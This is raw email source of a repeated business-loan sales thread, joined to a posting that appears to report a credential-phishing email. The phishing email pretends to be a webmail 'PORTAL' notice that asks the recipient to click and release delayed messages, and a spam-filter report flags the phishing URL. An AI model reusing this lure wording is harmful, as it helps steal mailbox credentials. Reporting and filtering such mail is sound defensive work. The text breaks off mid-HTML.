hQd9KzNSDPmJL6c9m0tyYiwGaMRC4Q=

X-Received: by 2002:a05:6a00:bd0e:b0:84e:cd14:aeba with SMTP id d2e1a72fcca58-84fdc6800aemr8106574b3a.6.1786744364157;

Fri, 14 Aug 2026 14:52:44 -0700 (PDT)

Received: from smtpgw.close.com (am11-natgw-a0.close.com. [52.11.177.187])

by smtp.gmail.com with ESMTPSA id d2e1a72fcca58-8517cfecbe3sm1027243b3a.5.2026.08.14.14.52.41

for

(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);

Fri, 14 Aug 2026 14:52:43 -0700 (PDT)

Content-Type: multipart/mixed; boundary="===============5888528514701144691=="

MIME-Version: 1.0

Subject: Re: Kesef Marketing | Smarter Access to Business Loans

From: =?utf-8?q?Lilian_Llanillo?=

To: =?utf-8?q?Gurkirat_Wirring?=

Date: Fri, 14 Aug 2026 21:52:41 +0000

Message-ID: <178674436134.7.15043001032031211174@smtpgw.close.com>

X-CLOSEIO-EMAIL-ID: acti_FCBSCIAyi2O7kok8nyKjrBfxtvlydBlExAtWhHdvjJ7

References: <178646337461.7.1240611996543057914@smtpgw.close.com> <178646337461.7.8575171778634196756@smtpgw.close.com> <178656720216.7.719897199253237218@smtpgw.close.com> <178656720216.7.1487486787664217380@smtpgw.close.com> <178665638576.8.14493170454529970862@smtpgw.close.com> <178665638576.8.10004896856150860707@smtpgw.close.com>

In-Reply-To: <178665638576.8.14493170454529970862@smtpgw.close.com>

List-Unsubscribe:

List-Unsubscribe-Post: List-Unsubscribe=One-Click



--===============5888528514701144691==

Content-Type: multipart/alternative; boundary="===============6876283827964161609=="

MIME-Version: 1.0



--===============6876283827964161609==

Content-Type: text/plain; charset="utf-8"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable



**Hi Gurkirat,**



=20



**This is Lilian Llanillo from Kesef Marketing.** =20

=20



**I wanted to follow up and see if funding is still something you're

considering for your business.**



=20



**If so, you can review your options here: =20

**[**CLICK HERE TO START YOUR

APPLICATION**](https://form.jotform.com/260672364104452?lead_id=3Dlead_1MVG=

GnNXqVx8dbGrHgSfKaWzWuBT6yMLDjaGHIpxaD3&legalBusiness=3DN

K

MAINTENANCE&fullName\[first\]=3DGurkirat&fullName\[last\]=3DWirring&leadTyp=

e=3DAutomation)



=20



**If you have any questions or would prefer to speak directly, feel free to

call me at 1-866-216-5475 or 873-771-7630**



=20



**Best regards,**



=20



=20



=20



**Lilian Llanillo**



**FUNDING ADVISOR**



=20



![email \(16px\).png](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877403=

9066-email+%2816px%29.png)****[**lilian@kesefmarketing.com**](https://lilia=

n@kesefmarketing.com)



![phone-call \(16px\).png](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877413=

7354-phone-

call+%2816px%29.png)**+1 (873) 771-7630**



**____________________________**



![IMG_5340.jpg](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877416=

5068-IMG_5340.jpg)



=20



To stop receiving these emails, click

[here](https://app.close.com/go/unsubscribe/orga_WJQdcK5MUUa02rLIty6GVDnil9=

kHSKU8WElV6ueTPiF/sales%40nk.ca/GK6U1JDQJSfaf6

--tg9gajA9HdvShNSyH_DgbhmTyc8=3D/).



=20

=20

On Aug 13, 2026, at 03:26 PM, Lilian Llanillo

wrote: =20



> **Hi Gurkirat,**

>

> =20

>

>

> **This is Lilian Llanillo from Kesef Marketing.** =20

> =20

>

>

> **Many businesses are currently reviewing their funding options to stay

> ahead.**

>

> =20

>

>

> **If this is something you=E2=80=99re considering, you can check your opt=

ions here: =20

> **[**CLICK HERE TO START YOUR

> APPLICATION**](https://form.jotform.com/260672364104452?lead_id=3Dlead_1M=

VGGnNXqVx8dbGrHgSfKaWzWuBT6yMLDjaGHIpxaD3&legalBusiness=3DN

> K

> MAINTENANCE&fullName\[first\]=3DGurkirat&fullName\[last\]=3DWirring&leadT=

ype=3DAutomation) =20

> =20

> **If you have any questions or would prefer to speak directly, feel free =

to

> call me at +1-866-216-5475 or 873-771-7630**

>

> =20

>

>

> **Best regards,**

>

> =20

>

>

> =20

>

>

> =20

>

>

> **Lilian Llanillo**

>

> **FUNDING ADVISOR**

>

> =20

>

>

> ![email \(16px\).png](https://closeio-

> filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1778774=

039066-email+%2816px%29.png)****[**lilian@kesefmarketing.com**](https://lil=

ian@kesefmarketing.com)

>

> ![phone-call \(16px\).png](https://closeio-

> filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1778774=

137354-phone-

> call+%2816px%29.png)**+1 (873) 771-7630**

>

> **____________________________**

>

> ![IMG_5340.jpg](https://closeio-

> filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1778774=

165068-IMG_5340.jpg)

>

> =20

>

>

> To stop receiving these emails, click

> [here](https://app.close.com/go/unsubscribe/orga_WJQdcK5MUUa02rLIty6GVDni=

l9kHSKU8WElV6ueTPiF/sales%40nk.ca/GK6U1JDQJSfaf6

> --tg9gajA9HdvShNSyH_DgbhmTyc8=3D/).

>

> =20

> =20

> On Aug 12, 2026, at 02:40 PM, Lilian Llanillo

> wrote: =20

>

>



>> **Hi Gurkirat, **



>>



>> =20

>

>>



>> **We noticed your Cash Advance application is still incomplete.**



>>



>> =20

>

>>



>> **You=E2=80=99re just a few steps away from securing up to $800,000 in f=

unding

within 48 hours.**



>>



>> =20

>

>>



>> **To move forward, please complete your application here: =20

> **

>>



>> [**Click to Start your Application

here**](https://form.jotform.com/260672364104452?lead_id=3Dlead_1MVGGnNXqVx=

8dbGrHgSfKaWzWuBT6yMLDjaGHIpxaD3&legalBusiness=3DN

K

MAINTENANCE&fullName\[first\]=3DGurkirat&fullName\[last\]=3DWirring&leadTyp=

e=3DAutomation)



>>



>> =20

>

>>



>> **and upload your last 3 months of bank statements. This will allow us to

finalize your review and match you with the best available funding options.=

**



>>



>> =20

>

>>



>> **If you have any questions or would prefer to speak directly, feel free=

to

call me at +1-866-216-5475 or 873-771-7630**



>>



>> =20

> **Best regards, =20

> **

>>



>> =20

>

>>



>> **Lilian Llanillo**



>>



>> **FUNDING ADVISOR**



>>



>> =20

>

>>



>> ![email \(16px\).png](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877403=

9066-email+%2816px%29.png)****[**lilian@kesefmarketing.com**](https://lilia=

n@kesefmarketing.com)



>>



>> ![phone-call \(16px\).png](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877413=

7354-phone-

call+%2816px%29.png)**+1 (873) 771-7630**



>>



>> **____________________________**



>>



>> ![IMG_5340.jpg](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877416=

5068-IMG_5340.jpg)



>>



>> =20

>

>>



>> To stop receiving these emails, click

[here](https://app.close.com/go/unsubscribe/orga_WJQdcK5MUUa02rLIty6GVDnil9=

kHSKU8WElV6ueTPiF/sales%40nk.ca/GK6U1JDQJSfaf6

--tg9gajA9HdvShNSyH_DgbhmTyc8=3D/).



>>



>> =20

> =20

> On Aug 11, 2026, at 09:49 AM, Lilian Llanillo

> wrote: =20

>

>>



>>> **Hi Gurkirat,**



>>>



>>> =20

>

>>>



>>> **This is Lilian Llanillo from Kesef Marketing.**



>>>



>>> =20

>

>>>



>>> **Welcome! I wanted to personally reach out and thank you for your

interest in business funding. We work with lenders across Canada to provide

reliable funding solutions that support growth, manage cash flow, and cover

upcoming expenses=E2=80=94while helping you access competitive interest rat=

es.**



>>>



>>> =20

>

>>>



>>> **If you=E2=80=99re open to exploring your options, you can get started=

here: =20

> **[**Click Here To Start Your

> Application**](https://form.jotform.com/260672364104452?lead_id=3Dlead_1M=

VGGnNXqVx8dbGrHgSfKaWzWuBT6yMLDjaGHIpxaD3&legalBusiness=3DN

> K

> MAINTENANCE&fullName\[first\]=3DGurkirat&fullName\[last\]=3DWirring&leadT=

ype=3DAutomation)

>>>



>>> **Once submitted, our team will review your information and present the

best available funding options tailored to your needs.**



>>>



>>> =20

>

>>>



>>> **If you have any questions or would prefer to speak directly, feel free

to call me at +1-866-216-5475 or 873-771-7630**



>>>



>>> =20

>

>>>



>>> **Looking forward to connecting.**



>>>



>>> =20

>

>>>



>>> **Best regards, =20

> **

>>>



>>> =20

>

>>>



>>> **Lilian Llanillo**



>>>



>>> **FUNDING ADVISOR**



>>>



>>> =20

>

>>>



>>> ![email \(16px\).png](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877403=

9066-email+%2816px%29.png)****[**lilian@kesefmarketing.com**](https://lilia=

n@kesefmarketing.com)



>>>



>>> ![phone-call \(16px\).png](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877413=

7354-phone-

call+%2816px%29.png)**+1 (873) 771-7630**



>>>



>>> **____________________________**



>>>



>>> ![IMG_5340.jpg](https://closeio-

filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F177877416=

5068-IMG_5340.jpg)



>>>



>>> =20

>

>>>



>>> To stop receiving these emails, click

[here](https://app.close.com/go/unsubscribe/orga_WJQdcK5MUUa02rLIty6GVDnil9=

kHSKU8WElV6ueTPiF/sales%40nk.ca/GK6U1JDQJSfaf6

--tg9gajA9HdvShNSyH_DgbhmTyc8=3D/).

--===============6876283827964161609==

Content-Type: text/html; charset="utf-8"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable



Hi Gurkirat,

This is=

Lilian Llanillo from Kesef Marketing.

I=

wanted to follow up and see if funding is still something you're consideri=

ng for your business.

If so, you =

can review your options here:

om/260672364104452?lead_id=3Dlead_1MVGGnNXqVx8dbGrHgSfKaWzWuBT6yMLDjaGHIpxa=

D3&legalBusiness=3DN K MAINTENANCE&fullName[first]=3DGurkirat&f=

ullName[last]=3DWirring&leadType=3DAutomation" rel=3D"noopener noreferr=

er nofollow">CLICK HERE TO START YOUR APPLICATION
>

If you have any questions or would prefer to s=

peak directly, feel free to call me at 1-866-216-5475 or 873-771-7630
ng>

Best regards,

<=

/div>



ong>Lilian Llanillo
=

FU=

NDING ADVISOR


closeio-filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1=

778774039066-email+%2816px%29.png" alt=3D"email (16px).png">
tyle=3D"font-weight: 700;">
fmarketing.com" target=3D"_blank" rel=3D"noopener noreferrer nofollow">
ong>lilian@kesefmarketing.com
ong>

2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1778774137354-phone-call+%2816px%29.p=

ng" alt=3D"phone-call (16px).png">
> +1 (873) 771-7630

eight: 700;">____________________________

c=3D"https://closeio-filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoI=

mXFkS0Dtk%2F1778774165068-IMG_5340.jpg" alt=3D"IMG_5340.jpg" style=3D"width=

: 159px; height: 64.1129px;">


generated=3D"unsubscribe-footer">


em-generated=3D"quoted-text">

On Aug 13, 2026, at 03:26 PM, Lilian L=

lanillo <lilian@kesefmarketing.com> wrote:

e">
Hi Gurkirat,

This=

is Lilian Llanillo from Kesef Marketing.


g>Many businesses are currently reviewing their funding options to stay ahe=

ad.

If this is something you=E2=

=80=99re considering, you can check your options here:

=3D"https://form.jotform.com/260672364104452?lead_id=3Dlead_1MVGGnNXqVx8dbG=

rHgSfKaWzWuBT6yMLDjaGHIpxaD3&legalBusiness=3DN K MAINTENANCE&fullNa=

me[first]=3DGurkirat&fullName[last]=3DWirring&leadType=3DAutomation=

" rel=3D"noopener noreferrer nofollow">CLICK HERE TO START YOUR APP=

LICATION

If you have any questions or would pre=

fer to speak directly, feel free to call me at +1-866-216-5475 or 873-771-7=

630

Best regards,
<=

div>


=

Lilian Llanillo
ng>

150);">FUNDING ADVISOR


"https://closeio-filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFk=

S0Dtk%2F1778774039066-email+%2816px%29.png" alt=3D"email (16px).png">
g>
lian@kesefmarketing.com" target=3D"_blank" rel=3D"noopener noreferrer nofol=

low">lilian@kesefmarketing.com
pan>

naws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1778774137354-phone-call+%28=

16px%29.png" alt=3D"phone-call (16px).png">
ht: 700;"> +1 (873) 771-7630

=3D"font-weight: 700;">____________________________

iv>
DVOgmo8WoImXFkS0Dtk%2F1778774165068-IMG_5340.jpg" alt=3D"IMG_5340.jpg" styl=

e=3D"width: 159px; height: 64.1129px;">


ta-system-generated=3D"unsubscribe-footer">


data-system-generated=3D"quoted-text">

On Aug 12, 2026, at 02:40 PM=

, Lilian Llanillo <lilian@kesefmarketing.com> wrote:

ype=3D"cite">
Hi Gurkirat, 

<=

div>We noticed your Cash Advance application is still incomplete.
strong>

You=E2=80=99re just a few steps aw=

ay from securing up to $800,000 in funding within 48 hours.
<=

div>
To move forward, please complete your applicatio=

n here:

4104452?lead_id=3Dlead_1MVGGnNXqVx8dbGrHgSfKaWzWuBT6yMLDjaGHIpxaD3&lega=

lBusiness=3DN K MAINTENANCE&fullName[first]=3DGurkirat&fullName[las=

t]=3DWirring&leadType=3DAutomation" rel=3D"noopener noreferrer nofollow=

">Click to Start your Application here

<=

/div>
and upload your last 3 months of bank statements. This wi=

ll allow us to finalize your review and match you with the best available f=

unding options.

If you have any q=

uestions or would prefer to speak directly, feel free to call me at +1-866-=

216-5475 or 873-771-7630

Best regards,

strong>


an style=3D"font-weight: 700;">Lilian Llanillo

trong>FUNDING A=

DVISOR


-filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F17787740=

39066-email+%2816px%29.png" alt=3D"email (16px).png">
"font-weight: 700;">
ing.com" target=3D"_blank" rel=3D"noopener noreferrer nofollow">
an style=3D"font-weight: 700;">lilian@kesefmarketing.com
>

-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1778774137354-phone-call+%2816px%29.png" alt=

=3D"phone-call (16px).png"> +1 (8=

73) 771-7630

700;">____________________________

tps://closeio-filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0D=

tk%2F1778774165068-IMG_5340.jpg" alt=3D"IMG_5340.jpg" style=3D"width: 159px=

; height: 64.1129px;">


ed=3D"unsubscribe-footer">

T=

o stop receiving these emails, click
subscribe/orga_WJQdcK5MUUa02rLIty6GVDnil9kHSKU8WElV6ueTPiF/sales%40nk.ca/GK=

6U1JDQJSfaf6--tg9gajA9HdvShNSyH_DgbhmTyc8=3D/" target=3D"_blank" rel=3D"noo=

pener noreferrer nofollow">here.


rated=3D"quoted-text">

On Aug 11, 2026, at 09:49 AM, Lilian Llanillo=

<lilian@kesefmarketing.com> wrote:

>Hi Gurkirat,

This is Lil=

ian Llanillo from Kesef Marketing.


g>Welcome! I wanted to personally reach out and thank you for your interest=

in business funding. We work with lenders across Canada to provide reliabl=

e funding solutions that support growth, manage cash flow, and cover upcomi=

ng expenses=E2=80=94while helping you access competitive interest rates.
trong>

If you=E2=80=99re open to exploring=

your options, you can get started here:

m.jotform.com/260672364104452?lead_id=3Dlead_1MVGGnNXqVx8dbGrHgSfKaWzWuBT6y=

MLDjaGHIpxaD3&legalBusiness=3DN K MAINTENANCE&fullName[first]=3DGur=

kirat&fullName[last]=3DWirring&leadType=3DAutomation" rel=3D"noopen=

er noreferrer nofollow">Click Here To Start Your Application
g>
Once submitted, our team will review your informat=

ion and present the best available funding options tailored to your needs.<=

/strong>

If you have any questions or woul=

d prefer to speak directly, feel free to call me at +1-866-216-5475 or 873-=

771-7630

Looking forward to conne=

cting.

Best regards,
=



e=3D"font-weight: 700;">Lilian Llanillo
<=

span style=3D"font-weight: 700; color: rgb(57, 208, 150);">FUNDING ADVISOR<=

/span>


cker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F1778774039066-e=

mail+%2816px%29.png" alt=3D"email (16px).png">
eight: 700;">
" target=3D"_blank" rel=3D"noopener noreferrer nofollow">
e=3D"font-weight: 700;">lilian@kesefmarketing.com
=


RDDVOgmo8WoImXFkS0Dtk%2F1778774137354-phone-call+%2816px%29.png" alt=3D"pho=

ne-call (16px).png"> +1 (873) 771=

-7630
_=

___________________________

loseio-filepicker.s3.amazonaws.com/2026-05-14%2F1RDDVOgmo8WoImXFkS0Dtk%2F17=

78774165068-IMG_5340.jpg" alt=3D"IMG_5340.jpg" style=3D"width: 159px; heigh=

t: 64.1129px;">


nsubscribe-footer">


ote>
yi2O7kok8nyKjrBfxtvlydBlExAtWhHdvjJ7/YVFsbTnwSw.png" alt=3D"" width=3D"1" h=

eight=3D"1" />

--===============6876283827964161609==--



--===============5888528514701144691==--

nk.ca credential phish from Google Gmail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 14 Aug 2026 20:06:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wv3li-00000000PhY-3XXv

for dave@doctor.nl2k.ab.ca;

Fri, 14 Aug 2026 20:05:06 -0600

Resent-From: The Doctor

Resent-Date: Fri, 14 Aug 2026 20:05:06 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-wm1-f104.google.com ([209.85.128.104]:60635)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wuyzS-00000000PbB-0RhR

for doctor@doctor.nl2k.ab.ca;

Fri, 14 Aug 2026 14:59:07 -0600

Received: by mail-wm1-f104.google.com with SMTP id 5b1f17b1804b1-4954dff6536so11729705e9.0

for ; Fri, 14 Aug 2026 13:58:10 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=nwhssasi-com.20251104.gappssmtp.com; s=20251104; t=1786741084; x=1787345884; darn=doctor.nl2k.ab.ca;

h=content-type:mime-version:date:content-transfer-encoding:message-id

:subject:to:from:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=lgGg549wnQWe0CuTVw4fI44re225kF0b81FTRgX/E8c=;

b=y36nBHxMSmv/Y5Ob+oun+NiLiOzaYHEFcAchSUGIHuKJb+ZyAjBDun94POmxCQboE6

/GdENbPuWb/Seo7apZDvkQX7a1sKTsXgfjrGDbsZBP64m8JPW8Wl46ThVmghm+2p6adX

flwnV2tYA4v8f7vin4bF1ZjWi5V8bnlEQnA+zvdC/3jgKiIwDEXMrW0T4fWUkDYyDmtm

0MrHrqg8FNX6E+HJtPH1o5t5jk/UYctEGSSrDL4/8d+Zp7K+HDoUr0qB7PDfBx4XeTDj

T2iBYrVAwCd2H3p394z1f3/8Ux/jJI8gW8xXc3HiOF+0cytflRkyw3cgszk/m2IsLPJV

ggEg==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1786741084; x=1787345884;

h=content-type:mime-version:date:content-transfer-encoding:message-id

:subject:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date

:message-id:reply-to:content-type;

bh=lgGg549wnQWe0CuTVw4fI44re225kF0b81FTRgX/E8c=;

b=ImXACabvaG8z6c/+v6sXijZLAnEbpWi5GP2Jr/sAMJD7nThOUjABIjfTLWvIZiMWZh

3+gpwqjYrQgK0JratkAiNCA6iZAVtjnyQ8HFV5HD80wdHnRdazDooe9ku57gC0zcxMuR

sOQrBWer87NcSHuvxHXtceWJY/HJDuSan+dnkFDpzQHNCvUkWX8EY1gqEl0wdCZQRsVc

XhhMlptb27A6cZxsTobPBzyGm2Jl4d25cJyT0oqaJTl1LHp4y9g7C+7W6UFkUbJwHbHT

19MDuEaRDA3ca9uaSz+LYsWkG5Nx2cl4M4YTSvjQ3DMLff6X08ea8JolIlzIlgDRQ4zn

KKZA==

X-Gm-Message-State: AOJu0YyZv6Wxk7Rz0EUYz3je07RHeC904wuMcPV1alZa7ljbhw+KD4Oi

Bz3fdw+9iPocLZAPCeaboxzIIaC45smz+TB57UWY7hBM0YGnib1vrhxdyz1d5KQcLHD4ujeWvL+

BQwV4yf9CAsqVtUDBaILum7KnuZs2wifdZGhLqAgdtAWl4R0=

X-Gm-Gg: AR+sD109aTh83VbdLqEbE5eayjS9TtpfbsJ8BaWOMXcGyxAjjyR2JBj3qDWmdo3wS41

fGJ1lE3lDiocLOVy07Y+tTDHzFKp/JiLS15ytOJMIBTnAyU2xYSs4iQKL0gnkl19unXOd3BsmVZ

ZAneJZCzb7LJuV6Kc7vGT/5RX0IBWnF0lvEkl+/9VU6bj0iQCmdRFdQa/lU4i/Vd/CcdGEt50/C

SdBPChIVbHLz4+GvM/I7n2oAbMOsVijsY0ZkXh+rrUnr+RJqR2dxJBlnZaGtvrSZkXnITZ+Lhoa

MzbS0a37T1WOqYksVno4hYUTPyrjWNS0BYfHiHq14TgA12iSZiCy7FGkL+BqVVv9SEATFMVphmn

MjykPePoYHG+l

X-Received: by 2002:a05:600c:a4d:b0:496:ca1f:a428 with SMTP id 5b1f17b1804b1-49987981e52mr124996855e9.19.1786741084064;

Fri, 14 Aug 2026 13:58:04 -0700 (PDT)

Received: from sasinm.com ([217.160.99.231])

by smtp-relay.gmail.com with ESMTPS id 5b1f17b1804b1-49988ae791asm9501985e9.6.2026.08.14.13.58.03

for

(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);

Fri, 14 Aug 2026 13:58:04 -0700 (PDT)

X-Relaying-Domain: sasinm.com

From: doctor Admin

To: doctor@doctor.nl2k.ab.ca

Subject: Pending Message Delivery(doctor@doctor.nl2k.ab.ca)

Message-ID:

Content-Transfer-Encoding: quoted-printable

Date: Fri, 14 Aug 2026 20:58:03 +0000

MIME-Version: 1.0

Content-Type: text/html; charset=utf-8

X-Spam_score: 8.4

X-Spam_score_int: 84

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: doctor PORTAL Notification: Some Incoming messages have been

delayed due to a server error.



Content analysis details: (8.4 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

[209.85.128.104 listed in dnsbl.ahbl.org]

[209.85.128.104 listed in dnsbl.ahbl.org]

[209.85.128.104 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[209.85.128.104 listed in list.dnswl.org]

2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the DBL blocklist

[URI: confirmation.vu]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[209.85.128.104 listed in bl.score.senderscore.com]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[209.85.128.104 listed in wl.mailspike.net]

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted

Colors in HTML

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.0 NO_RDNS2 Sending MTA has no reverse DNS

1.7 URIBL_BLACK Contains an URL listed in the URIBL blacklist

[URI: confirmation.vu]

Subject: {SPAM?} Pending Message Delivery(doctor@doctor.nl2k.ab.ca)




charset=3Diso-8859-1">


http-equiv=3DContent-Type>






style=3D"FONT-SIZE: 11px; OVERFLOW: hidden; MAX-WIDTH: 580px; BORDER-TOP: =

rgb(229,231,235) 1px solid; FONT-FAMILY: 'Segoe UI', Tahoma, Geneva, =

Verdana, sans-serif; BORDER-RIGHT: rgb(229,231,235) 1px solid; WIDTH: =

580px; WHITE-SPACE: normal; WORD-SPACING: 0px; BORDER-COLLAPSE: collapse !=

important; BORDER-BOTTOM: rgb(229,231,235) 1px solid; TEXT-TRANSFORM: none;=

FONT-WEIGHT: 400; COLOR: rgb(51,51,51); FONT-STYLE: normal; =

BORDER-SPACING: 0px; BORDER-LEFT: rgb(229,231,235) 1px solid; ORPHANS: 2; =

WIDOWS: 2; MARGIN: 30px auto; BACKGROUND-COLOR: rgb(255,255,255); =

font-variant-ligatures: normal; font-variant-caps: normal; =

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; =

text-decoration-style: initial; text-decoration-color: initial"=20

cellSpacing=3D0 cellPadding=3D0 align=3Dcenter>

=20




style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; =

MARGIN: 0px; LINE-HEIGHT: 6px; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(6,=

104,217)"> 




style=3D"PADDING-BOTTOM: 20px; PADDING-TOP: 35px; PADDING-LEFT: 30px; =

MARGIN: 0px; PADDING-RIGHT: 30px">
style=3D"FONT-SIZE: 24px; TEXT-TRANSFORM: uppercase; FONT-WEIGHT: =

800; COLOR: rgb(6, 104,217)">doctor=20

PORTAL




style=3D"COLOR: rgb(55,65,81); PADDING-BOTTOM: 40px; PADDING-TOP: 0px; =

PADDING-LEFT: 30px; MARGIN: 0px; LINE-HEIGHT: 1.6; PADDING-RIGHT: 30px">


style=3D"BORDER-TOP: rgb(254,243,199) 1px solid; BORDER-RIGHT: =

rgb(254,243,199) 1px solid; BORDER-BOTTOM: rgb(254,243,199) 1px solid; =

PADDING-BOTTOM: 18px; PADDING-TOP: 18px; PADDING-LEFT: 22px; BORDER-LEFT: =

rgb(254,243,199) 1px solid; MARGIN: 0px 0px 25px; PADDING-RIGHT: 22px; =

BACKGROUND-COLOR: rgb(255,251,235)">


style=3D"FONT-SIZE: 14px; FONT-WEIGHT: 600; COLOR: rgb(6, 104,217); =

PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; =

PADDING-RIGHT: 0px">Notification:=20

Some Incoming messages have been delayed due to a server error.=




style=3D"FONT-SIZE: 15px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; =

PADDING-LEFT: 0px; MARGIN: 0px 0px 30px; PADDING-RIGHT: 0px">To=20

restore normal service and recover your delayed messages, please =

click release message 
style=3D"TEXT-DECORATION: none; COLOR: ; OUTLINE-WIDTH: medium; =

OUTLINE-STYLE: none; OUTLINE-COLOR: invert; BACKGROUND-COLOR: =

transparent"> through=20

the official portal.




style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; =

MARGIN: 0px; PADDING-RIGHT: 0px">
onclick=3D"return Webmail.Widgets.Email.Message.=

evLinkClick(this);"=20

title=3D"This external link will open in a new window"=20

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; FONT-WEIGHT: 700; =

